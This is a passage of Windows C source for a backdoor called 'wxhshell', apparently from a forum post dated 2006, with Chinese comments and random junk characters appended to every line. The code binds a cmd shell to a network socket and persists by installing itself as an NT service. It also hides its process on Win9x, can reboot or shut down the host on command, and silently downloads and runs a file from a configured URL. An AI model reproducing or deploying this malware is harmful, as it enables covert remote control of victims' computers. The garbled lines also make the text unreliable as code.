  else { 80PlbUBb!  
9.<dS  
    switch(cmd[0]) { c$X0C&m  
  BXNt@%  
  // 帮助 >d.o1<  
  case '?': { ``%uq)G=D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W<J".2D  
    break; AJ0qq  
  } oV4+w_rrLc  
  // 安装 oSmv  (O  
  case 'i': { KmuE#Ia  
    if(Install()) 0((3q'[ <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3|$>2IRq  
    else WM& k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I\NiA>c  
    break; RR2Q  
    } 1-_op !N  
  // 卸载 5gZEcJ  
  case 'r': { 68m (%%E@  
    if(Uninstall()) ('!{kVLT-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :}r^sD  
    else q#fj?`k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]dZ8]I<$C  
    break; v3b[08 F  
    } R<}WNZl  
  // 显示 wxhshell 所在路径 E0K'|*  
  case 'p': { <E2+P,Lgw  
    char svExeFile[MAX_PATH]; 4@,d{qp~  
    strcpy(svExeFile,"\n\r"); Y{].%xM5  
      strcat(svExeFile,ExeFile); {`Ekv/XWa  
        send(wsh,svExeFile,strlen(svExeFile),0); yY,O=yOjq  
    break; ("2ukHc  
    } UQGOCP_  
  // 重启 "][MCVYP  
  case 'b': { Kjbz\~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y`"~zq0D  
    if(Boot(REBOOT)) ~7Ji+AJA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Y/PvS8!  
    else { ]LFY2w<  
    closesocket(wsh); Z]$RO  
    ExitThread(0); [ emUyF  
    } j, SOL9yg  
    break; (kpn"]^'  
    } zYf `o0U  
  // 关机 y`"b%P)+T  
  case 'd': { m'Jk!eo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +xqPyR  
    if(Boot(SHUTDOWN)) hFORs.L&G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #UR4I2t*  
    else { wRgh`Hc\}  
    closesocket(wsh); t`b>iX%(1t  
    ExitThread(0); ->DfT*)  
    } IUX~dO  
    break; Vp =  
    } 1}#(4tw)  
  // 获取shell >>lT-w  
  case 's': { hg}Rh  
    CmdShell(wsh); FhJ8}at+e  
    closesocket(wsh); .@0i,7S  
    ExitThread(0); GarPnb  
    break; 0qXkWGB  
  } G~Xh4*#J  
  // 退出 L8<Yk`jx  
  case 'x': { 3 y!yz3E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;Qpp`  
    CloseIt(wsh); S~WsGLF s  
    break; [ m*=Q  
    } n\v\<mVTb7  
  // 离开 :Jp$_T&E  
  case 'q': { 5#~ARk*?a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SB#YV   
    closesocket(wsh); 0- GA,I_  
    WSACleanup(); PV?XpT  
    exit(1); {I s?>m4  
    break; v:s.V>{"S  
        } QcyYTg4i  
  } xk}(u`:.  
  } xNG 'UbU  
".&x`C  
  // 提示信息 vkE[Ur>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3zJbb3e  
} ZN)a}\]  
  } %G9: M;|'  
=>ooB/  
  return; F(E3U'G  
} r!eCfV7  
9moenkL  
// shell模块句柄 }8E//$J  
int CmdShell(SOCKET sock) ?}*A/-Hx0U  
{ 'T54k  
STARTUPINFO si; Y21,!$4gb  
ZeroMemory(&si,sizeof(si)); Q1qf'u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8Rq+eOP=S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <fX]`57Dc`  
PROCESS_INFORMATION ProcessInfo; }{*((@GY}  
char cmdline[]="cmd"; Wx}+Vq<q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *#j+,q!X  
  return 0; ~8'4/wh+8  
} K~nk:}3Ui  
7&G[mOx0  
// 自身启动模式 bK `'zi  
int StartFromService(void) ]a|3"DP5  
{ V}732?Jy  
typedef struct G!~[+B  
{ #84pRU~  
  DWORD ExitStatus; D$k40Mz  
  DWORD PebBaseAddress; % R~9qO  
  DWORD AffinityMask; jREj]V>  
  DWORD BasePriority; 9NwA5TP9_  
  ULONG UniqueProcessId; ZVotIQ/Q'  
  ULONG InheritedFromUniqueProcessId; B 95}_q  
}   PROCESS_BASIC_INFORMATION; Tfc5R;Rw  
{.9phW4Vr?  
PROCNTQSIP NtQueryInformationProcess; jRXpEiM  
y4`<$gL   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >So)KB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ww*='lz  
j3QpY9A  
  HANDLE             hProcess; /#J)EH4p  
  PROCESS_BASIC_INFORMATION pbi; gx&BzODPd0  
620y[iiK$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); />fy@nPl|  
  if(NULL == hInst ) return 0; 4ew|5Zex.~  
T*>n a8W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _H|c _  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zECdj'/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =p>"PqJ/7n  
8XwAKN:f  
  if (!NtQueryInformationProcess) return 0; uV<I!jyI  
2U,O e9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G.K3'^_  
  if(!hProcess) return 0; <Gzy*1 Q&  
m`UNdFS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z~o*$tF/  
)AOD~T4s7  
  CloseHandle(hProcess); !Y_"q^5GG'  
iK%<0m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tx;DMxN!W  
if(hProcess==NULL) return 0; Q[i/]  
ug!DL=ZW  
HMODULE hMod; JsOPI ]  
char procName[255]; X ^>o/U  
unsigned long cbNeeded; oo7&.HWf  
XJnDx 09h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2A@9jl s  
{O*<1v9<  
  CloseHandle(hProcess); *zX*k 7LnV  
D"fE )@Q@Y  
if(strstr(procName,"services")) return 1; // 以服务启动 }NPF]P;  
We3*WsX\  
  return 0; // 注册表启动 GqhnE>  
} Nd/iMV6V;  
?iG}Qj@5  
// 主模块 SV.\B  
int StartWxhshell(LPSTR lpCmdLine) POTW+Zq]  
{ :qy`!QPUm  
  SOCKET wsl; pmXx2T#=  
BOOL val=TRUE; wzB*M}3  
  int port=0; S4kGy}{+i  
  struct sockaddr_in door; RsU=fe,  
$DW3H1iW  
  if(wscfg.ws_autoins) Install(); fXMVl\ <  
QOIi/flK  
port=atoi(lpCmdLine); /_E:sI9(  
,LZ6Wu$P  
if(port<=0) port=wscfg.ws_port; #"d.D7nA  
^ pMjii8IZ  
  WSADATA data; _GK^7}u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q17"hO>kC  
\/4ipU.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &|P@$O>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N]: "3?%  
  door.sin_family = AF_INET; v,r}q1.E}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XhFa9RC  
  door.sin_port = htons(port); ke|v|@  
94%gg0azp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j~V@0z.  
closesocket(wsl); ';??0M  
return 1; e;pVoRI  
} hu\HK81m  
R|H9AM ~E  
  if(listen(wsl,2) == INVALID_SOCKET) { <5/r  
closesocket(wsl); h{.KPK\  
return 1; OlhfBu)~  
} PRl\W:_t  
  Wxhshell(wsl); +O3zeL  
  WSACleanup(); joDnjz=  
6cSMKbgZJ  
return 0; zfL$z,zgf  
b].:2  
} H[V^wyi'z  
hN c;, 13  
// 以NT服务方式启动 {6)fZpd)@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?ECmPS1  
{ T^N Y|Y/  
DWORD   status = 0; 3tI=? E#  
  DWORD   specificError = 0xfffffff; 8rXq-V_u  
&/R@cS6}'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C.s{ &  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dv-yZRU:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (?xGl V`n  
  serviceStatus.dwWin32ExitCode     = 0; qf+jfc(Iby  
  serviceStatus.dwServiceSpecificExitCode = 0; %([$v6y  
  serviceStatus.dwCheckPoint       = 0; @B ~! [l  
  serviceStatus.dwWaitHint       = 0; +GI[ Kq  
pOD|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nWN~G  
  if (hServiceStatusHandle==0) return; Y32F { z  
]>/YU*\  
status = GetLastError(); wRb%-s  
  if (status!=NO_ERROR) 7CUu:6%  
{ *103  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B Hn`e~  
    serviceStatus.dwCheckPoint       = 0;  O/gok+K  
    serviceStatus.dwWaitHint       = 0; QL}5vSl  
    serviceStatus.dwWin32ExitCode     = status; R B.j@*  
    serviceStatus.dwServiceSpecificExitCode = specificError; u#%Ig3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >joGG T  
    return; O;f^' N  
  } 4 C[,S|J  
L@S"c (  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +%X_+9bd  
  serviceStatus.dwCheckPoint       = 0; 93 x.b]] "  
  serviceStatus.dwWaitHint       = 0; [{N i94:d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w(r$n|Ks9  
} B P"PUl:  
n=r}jRH1  
// 处理NT服务事件,比如:启动、停止 :7Rs$ -*Uk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (U2G"  
{ )(*A1C[  
switch(fdwControl) Di9yd  
{ aRq7x~j )\  
case SERVICE_CONTROL_STOP: 8_>\A= E  
  serviceStatus.dwWin32ExitCode = 0; :84ja>`c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hiaj!&+Q  
  serviceStatus.dwCheckPoint   = 0; G#5Cyu<r!  
  serviceStatus.dwWaitHint     = 0; 0ang~_  
  { 84 b;G4K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  g}Hk4+  
  } Y::fcMJr;Q  
  return; o}v # Df  
case SERVICE_CONTROL_PAUSE: \q Q5x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KU-z;}9s  
  break; A/{pG#if]3  
case SERVICE_CONTROL_CONTINUE: oF.Fg<p (  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2P$lXGjh  
  break; Cd'P  
case SERVICE_CONTROL_INTERROGATE: ce2d)FG}e  
  break; FO_nS   
}; =G}_PRn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =/6.4;8  
} |{PQ0DS  
tt[P{mMQ  
// 标准应用程序主函数 ?*}76u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h|=^@F_\`  
{ HCHP15otfe  
E}k#-+u<S4  
// 获取操作系统版本 eN/s W!:P|  
OsIsNt=GetOsVer(); sl6p/\_w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {,IWjt &>  
<ofXNv;`  
  // 从命令行安装 X$ /3  
  if(strpbrk(lpCmdLine,"iI")) Install(); \q3H#1A  
m8 0+b8b  
  // 下载执行文件 \2_>$:UoV  
if(wscfg.ws_downexe) { edGV[=]F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TzPx4L6?  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q)#<T]~=  
} ;T#t)oV  
HZ 8 j[kO  
if(!OsIsNt) { UgJlXB|a%2  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~(aq3ngo.  
HideProc(); 8S]Mf*~S'  
StartWxhshell(lpCmdLine); &M>S$+I n  
} e7,iO#@:m  
else Redp'rXT<h  
  if(StartFromService()) CSr{MF`]e  
  // 以服务方式启动 (ZShhy8g  
  StartServiceCtrlDispatcher(DispatchTable); pal))e! B  
else FVY,CeA.  
  // 普通方式启动 WU<#_by g  
  StartWxhshell(lpCmdLine); H7Y}qP5X  
eVU:.fx  
return 0; 6sP;O,UX  
}
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只看该作者 1 发表于: 2006-10-10
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